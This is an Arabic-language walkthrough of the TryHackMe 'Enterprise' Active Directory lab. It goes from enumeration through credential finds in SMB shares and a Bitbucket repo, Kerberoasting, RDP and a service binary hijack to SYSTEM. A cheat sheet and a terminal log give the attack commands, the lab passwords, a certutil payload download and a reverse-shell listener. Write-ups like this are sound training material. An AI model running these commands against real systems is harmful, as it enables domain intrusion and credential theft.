Lab: Enterprise | STY IT Labs
STY IT Labs · TryHackMe · Insane Active Directory

Lab: Enterprise
أخطاء تشغيلية متراكمة توديك لـ SYSTEM

مفيش ثغرة واحدة قاتلة هنا — ده Domain Controller كامل بنيت على سلسلة من الأخطاء التشغيلية الصغيرة: SMB Shares مفتوحة، كلمات سر في Git repo، حساب Kerberoastable، وسيرفس SYSTEM بصلاحيات كتابة غلط. كل غلطة لوحدها تهون، بس مجمّعين يوصلوك لـ Domain Admin.

Hard Difficulty LAB.ENTERPRISE.THM Kerberoasting Credentials in Git Service Binary Hijack
DC01 STACKED MISTAKES ENTERPRISE
Hard
3 – 6 ساعات
2 Flags
12 Ports Exposed
TryHackMe
Windows Server AD

عن اللاب

LAB.ENTERPRISE.THM
Domain Controller
DNS, Kerberos, LDAP, RDP, Bitbucket
Port 7990
Atlassian Bitbucket
مصدر كلمات السر المسروقة
8 Users
banana · cake · nik · spooks…
مكتشفين عبر Kerbrute

مفيش CVE واحد هنا — ده Domain Controller بنيت فوق سلسلة من الأخطاء التشغيلية المتراكمة: SMB Share فيه ملفات حساسة، PowerShell history فيها كلمة سر قديمة، Git repository فيه كلمات سر Hardcoded، وحساب Kerberoastable بكلمة سر ضعيفة. وفي النهاية سيرفس شغال بصلاحيات SYSTEM وملفه التنفيذي قابل للكتابة.

الدرس الأساسي في هذا اللاب: كل غلطة لوحدها مش خطيرة (Share مفتوح، أو كلمة سر قديمة متسربة)، بس تجميعهم مع بعض بيوصلك لـ Full Domain Compromise.

Enterprise Badge

User Flag من Desktop بعد RDP + SYSTEM Flag بعد Service Binary Hijack

مسار الهجوم — من الاستطلاع لـ SYSTEM

1

فحص الشبكة + تعداد المستخدمين

Nmap فحص كامل للبورتات يكشف DNS، Kerberos، LDAP، RDP، وBitbucket على 7990. Kerbrute يكشف 8 مستخدمين صحيحين عن طريق الرد على Kerberos Pre-Auth.

nmap -sC -sV -p-Kerbrute userenum
2

فحص AS-REP Roasting (سلبي)

impacket-GetNPUsers يتأكد إن كل المستخدمين عندهم Pre-Authentication مفعّل — مفيش حسابات ضعيفة من هذا الاتجاه.

GetNPUsers.pyNo vulnerable accounts
3

SMB Shares + PowerShell History

Null session يفتح شيرز “Docs” و”Users”. تنزيل الشير كامل يكشف ملف ConsoleHost_history.txt فيه كلمة سر قديمة لحساب replication (متغيّرة فعلياً).

smbclient (null session)ConsoleHost_history.txt
4

كلمات سر في Bitbucket Repository

التحقيق في الـ Bitbucket instance على بورت 7990 يكشف ملفات config فيها كلمات سر Hardcoded: نيك وكلمة سر، وحساب contractor-temp.

Hardcoded Credentialsnik:ToastyBoi!
5

Kerberoasting بحساب nik

بعد تسجيل الدخول بحساب nik، GetUserSPNs يطلب TGS ticket لحساب bitbucket، وHashcat يكسر الـ hash في دقائق.

GetUserSPNs.pyhashcat -m 13100
6

RDP + User Flag

تسجيل دخول RDP بحساب bitbucket المكسور، وإيجاد الـ User Flag على سطح المكتب.

xfreerdpUser Flag ✓
7

Service Binary Hijack → SYSTEM 🏆

winPEAS يكشف إن سيرفس ZeroTier شغال بصلاحيات SYSTEM وملفه التنفيذي قابل للكتابة. استبدال الملف بـ reverse shell (Nishang + ps2exe) وإعادة تشغيل السيرفس يديك SYSTEM مباشرة.

winPEASWritable Service BinarySYSTEM Shell 🏆

مراحل اللاب

Enumeration
SMB + Creds
Git OSINT
Kerberoasting
RDP Access
SYSTEM 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
nmap -sC -sV -Pn -p- lab.enterprise.thmفحص شامل لكل البورتات المفتوحةRecon
kerbrute userenum -d lab.enterprise.thm users.txtتعداد المستخدمين الصحيحين عبر KerberosEnum
impacket-GetNPUsers lab.enterprise.thm/ -usersfile users.txtفحص AS-REP RoastingCheck
smbclient //DC/Users -Nالوصول لشير SMB بـ Null SessionSMB
impacket-GetUserSPNs -request lab.enterprise.thm/nikطلب TGS ticket للحسابات القابلة لـ KerberoastingKerberoast
hashcat -m 13100 tgs.hash rockyou.txtكسر الـ Kerberos TGS hashCrack
xfreerdp /u:bitbucket /p:’littleredbucket’ /v:DCالوصول بـ RDP بالحساب المكسورAccess
certutil -urlcache -f http://ip/winPEAS.exe w.exeتنزيل winPEAS على الهدفPrivEsc

المهام والأسئلة

Task 1 — فحص الشبكة والمستخدمين

Nmap + Kerbrute لاكتشاف 8 مستخدمين صحيحين

Recon

Task 2 — SMB Shares وملف PowerShell History

إيجاد كلمة سر قديمة في ConsoleHost_history.txt

SMB
03

Task 3 — Bitbucket OSINT

كشف كلمات السر Hardcoded في Git repository

Git
04

Task 4 — Kerberoasting حساب bitbucket

GetUserSPNs + Hashcat لكسر كلمة السر

Kerberoast
05

Task 5 — RDP + User Flag

تسجيل دخول RDP وإيجاد الفلاج الأول

User ✓
06

Task 6 — winPEAS Enumeration

اكتشاف سيرفس ZeroTier بصلاحيات SYSTEM

PrivEsc
07

Task 7 — Service Binary Hijack → SYSTEM 🏆

استبدال الملف التنفيذي وإعادة تشغيل السيرفس

SYSTEM 🏆
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من الاستطلاع لـ SYSTEM

root@kali — Enterprise (LAB.ENTERPRISE.THM)
# Phase 1 — Recon + User Enum
└─# nmap -sC -sV -Pn -p- lab.enterprise.thm
53,80,88,135,139,389,445,3389,7990,9389 open
└─# kerbrute userenum -d lab.enterprise.thm users.txt
[+] VALID USERNAME: nik@lab.enterprise.thm

# Phase 2 — SMB + PowerShell History
└─# smbclient //lab.enterprise.thm/Users -N
smb:\> get ConsoleHost_history.txt
replication:101RepAdmin123!! (stale — login failed)

# Phase 3 — Bitbucket OSINT
└─# curl http://lab.enterprise.thm:7990/projects/CONFIG/repos
[+] Hardcoded credential found: nik:ToastyBoi!

# Phase 4 — Kerberoasting
└─# impacket-GetUserSPNs lab.enterprise.thm/nik:’ToastyBoi!’ -request
$krb5tgs$23$*bitbucket$…
└─# hashcat -m 13100 tgs.hash rockyou.txt
[+] Cracked: bitbucket:littleredbucket

# Phase 5 — RDP + Service Binary Hijack
└─# xfreerdp /u:bitbucket /p:’littleredbucket’ /v:lab.enterprise.thm
[+] User flag: THM{ed882d…}
C:\> copy \\kali\share\ZeroTierOne.exe “C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe”
C:\> net start zerotieroneservice
[+] SYSTEM shell received on nc -lvnp 4444 🏆

└─#

المهارات المكتسبة

Kerberos User Enumeration
SMB Null Session Abuse
Credentials in Version Control
Kerberoasting
winPEAS Enumeration
Service Binary Hijacking
Windows PrivEsc → SYSTEM
RDP Access Chaining

الأدوات المستخدمة

Kerbruteتعداد المستخدمين عبر Kerberos Pre-Auth
Impacket (GetNPUsers / GetUserSPNs)AS-REP وKerberoasting attacks
smbclientالوصول للشيرز بـ Null Session
winPEASاكتشاف مسارات Privilege Escalation
Nishang + ps2exeبناء reverse shell executable للـ Service Hijack
كل حاجة في اللاب لوحدها بسيطة — السر في الربط بين المعلومات الصغيرة (كلمة سر قديمة + كلمة سر من Git + سيرفس قابل للكتابة) مش في ثغرة واحدة ضخمة.